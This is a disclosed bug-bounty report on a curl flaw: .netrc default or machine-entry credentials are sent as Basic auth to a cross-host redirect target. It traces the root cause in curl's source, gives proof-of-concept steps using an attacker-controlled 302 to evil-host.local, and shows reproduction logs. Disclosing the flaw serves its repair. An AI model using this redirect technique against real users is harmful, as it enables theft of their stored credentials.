HexBrain

curl · Report #4125043

netrc credentials leaked to a cross-host redirect target on the Basic auth path (not covered by redirect credential protections)

N/Astatus
mediumseverity
4upvotes
26 Oct 2026disclosed

How it was found

Summary

curl's redirect credential-leak protection (the CURLOPT_UNRESTRICTED_AUTH off-by-default guarantee, enforced by Curl_auth_allowed_to_origin()) covers three credential sources: a custom Authorization header, CURLOPT_USERNAME/CURLOPT_PASSWORD, and cookies. It does not cover credentials read from a .netrc file. On every connect (including a connect that follows a cross-host HTTP redirect), url_set_data_creds_netrc() runs the netrc scan unconditionally, without any Curl_auth_allowed_to_origin() check. When the netrc file contains a default entry, that entry matches any host (including the redirect target), so the default entry's login/password are installed into data->state.creds for the new origin. Curl_http_output_auth() then short-circuits on the non-empty data->state.creds and emits an Authorization: Basic <base64(user:pass)> header to the redirect target, even though the user did not opt in with CURLOPT_UNRESTRICTED_AUTH.

The same unprotected netrc-scan path also applies a machine entry that matches the redirect target host, so a host-specific netrc credential is likewise sent to that host on a cross-host redirect. The default entry variant is the broader exposure: it matches every host, so any cross-host redirect destination receives the user's catch-all netrc credential.

Variantnetrc entryMatches redirect targetSent to redirect target
Default entrydefault login <u> password <p>unconditionally (matches_host = TRUE for any host)Authorization: Basic <base64(u:p)>
Machine entrymachine <redirect-target> login <u> password <p>hostname match on the redirect targetAuthorization: Basic <base64(u:p)>

The negative control confirms the protection itself works: the same redirect with credentials supplied via -u / CURLOPT_USERNAME sends no Authorization header to the redirect target, because the CREDS_OPTION path checks Curl_auth_allowed_to_origin() and declines to create the credentials. The netrc path simply lacks the equivalent check.

Affected versions

Reproduced on curl 8.21.0-DEV, re-confirmed on curl master 9b2caf3 (8.22.0-DEV, verified 2026-08-31), and re-confirmed again on current master 5d4eaac8f (8.23.1-DEV, verified 2026-10-18, all four leak scenarios plus the protected -u negative control). On master, lib/url.c url_set_data_creds_netrc() still runs the netrc scan unconditionally with no Curl_auth_allowed_to_origin() check, and the reproduction scenarios are byte-for-byte identical across all three builds. Any curl version whose netrc credential path lacks an origin check on cross-host redirect is affected.

Root cause

Curl_connect() calls url_set_data_origin_and_creds() on every connect, including a connect that follows a redirect. The origin is updated to the redirect target, but data->state.initial_origin stays at the original request host:

// lib/url.c:2068+  url_set_data_origin_and_creds()
//   parses the redirect URL, updates data->state.origin to the redirect target.
//   data->state.initial_origin is only cleared in Curl_pretransfer (not on redirect).

// lib/url.c:1371+  url_set_data_origin_and_creds() -> url_set_data_creds(data, uh)

Inside url_set_data_creds(), the CURLOPT_USERNAME/CURLOPT_PASSWORD path is gated by the origin check and correctly declines on a cross-host redirect:

// lib/url.c:1376-1381  CREDS_OPTION path (PROTECTED)
//   checks Curl_auth_allowed_to_origin(data, data->state.origin);
//   initial_origin != origin -> returns FALSE -> credentials NOT created.

The netrc call right next to it has no such guard:

// lib/url.c:1447-1448  url_set_data_creds() -> url_set_data_creds_netrc(data, &newcreds)
//   NO Curl_auth_allowed_to_origin() check; runs unconditionally.

// lib/url.c:1275  url_set_data_creds_netrc()
//   if(data->set.use_netrc)  /* not CURL_NETRC_IGNORED -> scan proceeds */
// lib/url.c:1308+  Curl_netrc_scan() scans against the redirect target hostname

// lib/netrc.c: netrc_scan(), default-token handler
//   `default` entry sets sc.matches_host = TRUE unconditionally -> matches the redirect target
// lib/netrc.c:389+  netrc_scan_end_entry()
//   matches_host && has login/passwd -> sc.found = TRUE -> credential object created

// lib/url.c:1343+  Curl_creds_merge() merges netrc creds into newcreds
// lib/url.c:1454  Curl_creds_link(&data->state.creds, newcreds) -> installed for the new origin

The installed netrc credential then short-circuits the auth-emission gate. Curl_auth_allowed_to_host() returning FALSE is ignored because data->state.creds is already non-empty:

// lib/http.c:879  Curl_http_output_auth()
//   if(data->state.creds || Curl_auth_allowed_to_host(data))  // creds non-empty -> TRUE
//       output_auth_headers(...);

// lib/http.c:646+ output_auth_headers(), CURLAUTH_BASIC branch at 732
//   authstatus->picked == CURLAUTH_BASIC  (set on the first request, NOT reset on redirect)
//   data->state.creds non-empty with user/pass -> http_output_basic()
//   -> "Authorization: Basic <base64(user:pass)>" sent to the redirect target

Contrast: a custom Authorization header is stripped by Curl_add_custom_headers() via Curl_auth_allowed_to_host() (custom-header strip in Curl_add_custom_headers()), and cookies are gated by Curl_auth_allowed_to_host() in http_cookies() (cookie gating in http_cookies()). The netrc path is the only credential source applied on a cross-host redirect without an equivalent check.

PoC

The attacker's role is to control the server reached by the victim's initial request, so that it returns a cross-host redirect to a host the attacker also observes. No malformed payload is needed. The attacker only needs to emit a normal 302.

Preconditions on the victim side: (a) netrc is enabled (CURLOPT_NETRC not IGNORED, e.g. curl --netrc-optional), (b) the victim's .netrc contains a default entry with a login and password, and (c) CURLOPT_UNRESTRICTED_AUTH is left at its default (off), which is the configuration under which the user expects credentials not to leak to a redirect target. Preconditions (a) and (b) are common among users who rely on netrc. Condition (c) is the curl default.

Steps:

  1. Place a .netrc containing default login myuser password mypass.
  2. The victim runs curl --netrc-optional --netrc-file <netrc> -L -v http://trusted-host.local:<portA>/ (or the equivalent libcurl call). trusted-host.local is a host the victim is willing to authenticate to.
  3. The attacker-controlled trusted-host.local responds HTTP/1.0 302 Found with Location: http://evil-host.local:<portB>/.
  4. curl follows the redirect. url_set_data_creds_netrc() scans the netrc against evil-host.local. The default entry matches unconditionally, so myuser:mypass is installed for evil-host.local.
  5. Curl_http_output_auth() short-circuits on the non-empty data->state.creds and emits Authorization: Basic bXl1c2VyOm15cGFzcw== to evil-host.local.
  6. The attacker reads the Authorization header at evil-host.local and base64-decodes it to recover myuser:mypass.

The negative control replaces step 1 with curl -u myuser:mypass -L -v http://trusted-host.local:<portA>/ (credentials via CURLOPT_USERNAME/CURLOPT_PASSWORD, same redirect). The CREDS_OPTION path's Curl_auth_allowed_to_origin() check declines to create credentials for evil-host.local, and no Authorization header is sent to the redirect target, confirming the protection is functional and that the netrc path is the gap.

A machine-entry variant substitutes machine evil-host.local login eviluser password evilpass for the default line. The redirect target's hostname matches the machine entry and eviluser:evilpass is sent to evil-host.local by the same unprotected path.

The full reproduction scripts are available on request.

Reproduction output

Output below is from the master build (9b2caf3, 8.22.0-DEV, ASan debug, mbedTLS). The 8.21.0-DEV build and the current master build (5d4eaac8f, 8.23.1-DEV, verified 2026-10-18) produce byte-for-byte identical results.

Test 1, default entry + cross-host redirect (leak):

* Could not find host trusted-host.local in the <netrc> file; using defaults
> GET / HTTP/1.1
> Host: trusted-host.local:<portA>
> Authorization: Basic bXl1c2VyOm15cGFzcw==
< HTTP/1.0 302 Found
< Location: http://evil-host.local:<portB>/
* Issue another request to this URL: 'http://evil-host.local:<portB>/'
* Server auth using Basic with user 'myuser'
> GET / HTTP/1.0
> Host: evil-host.local:<portB>
> Authorization: Basic bXl1c2VyOm15cGFzcw==     <- netrc default credential sent to redirect target

Authorization: Basic bXl1c2VyOm15cGFzcw== decodes to myuser:mypass. The redirect target received the netrc default credential.

Test 2, -u credentials + same cross-host redirect (negative control, protected):

> GET / HTTP/1.1
> Host: trusted-host.local:<portA>
> Authorization: Basic bXl1c2VyOm15cGFzcw==
< HTTP/1.0 302 Found
< Location: http://evil-host.local:<portB>/
* Issue another request to this URL: 'http://evil-host.local:<portB>/'
> GET / HTTP/1.0
> Host: evil-host.local:<portB>
                                                <- no Authorization header; Curl_auth_allowed_to_origin() declined

No Authorization header is sent to evil-host.local. The CREDS_OPTION path is protected. The netrc path is not.

Test 3, machine entry matching the redirect target + cross-host redirect (leak):

* Could not find host trusted-host.local in the <netrc> file; using defaults
> GET / HTTP/1.1
> Host: trusted-host.local:<portA>
< HTTP/1.0 302 Found
< Location: http://evil-host.local:<portB>/
* Issue another request to this URL: 'http://evil-host.local:<portB>/'
* Server auth using Basic with user 'eviluser'
> GET / HTTP/1.0
> Host: evil-host.local:<portB>
> Authorization: Basic ZXZpbHVzZXI6ZXZpbHBhc3M=   <- netrc machine credential sent to redirect target

Authorization: Basic ZXZpbHVzZXI6ZXZpbHBhc3M= decodes to eviluser:evilpass.

All three scenarios reproduce identically on master 9b2caf3 (8.22.0-DEV) and on current master 5d4eaac8f (8.23.1-DEV, 2026-10-18): test 1 and test 3 leak, test 2 is protected. The 2026-10-18 run additionally verified the multi-redirect chain, the SSRF-like scenario, and a production API variant. All leak, while the -u negative control stays protected.

Impact

  • CVSS 3.1: 6.1 (Medium), vector AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
    • Network vector, high attack complexity (requires the redirect precondition), no privileges, required user interaction (the victim runs curl against an attacker-influenced origin), scope change (the credential crosses from the intended host to a different host), high confidentiality impact (the netrc credential is recovered in cleartext), no integrity/availability impact.
  • Trigger conditions: the victim has netrc enabled with a default (or redirect-target-matching machine) entry, CURLOPT_UNRESTRICTED_AUTH is at its default (off), and the attacker can cause the victim's initial request to redirect cross-host (via a malicious server the victim is willing to contact, an SSRF that reaches such a server, or a MITM on a plaintext-HTTP request). The credential is delivered as Basic auth (base64, equivalent to cleartext), so the attacker directly recovers the login and password.
  • Severity bound: exploitation is gated by the three preconditions above. The default entry is a catch-all credential the user has consciously placed in .netrc for hosts without a specific machine entry, which somewhat narrows the set of affected users to those who (a) use netrc at all and (b) keep a default entry. The impact is confidentiality-only (the credential is disclosed to the redirect target, with no direct integrity or availability effect) on the victim's transfer. Residual risk is the reuse of the recovered credential against other services that share it.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original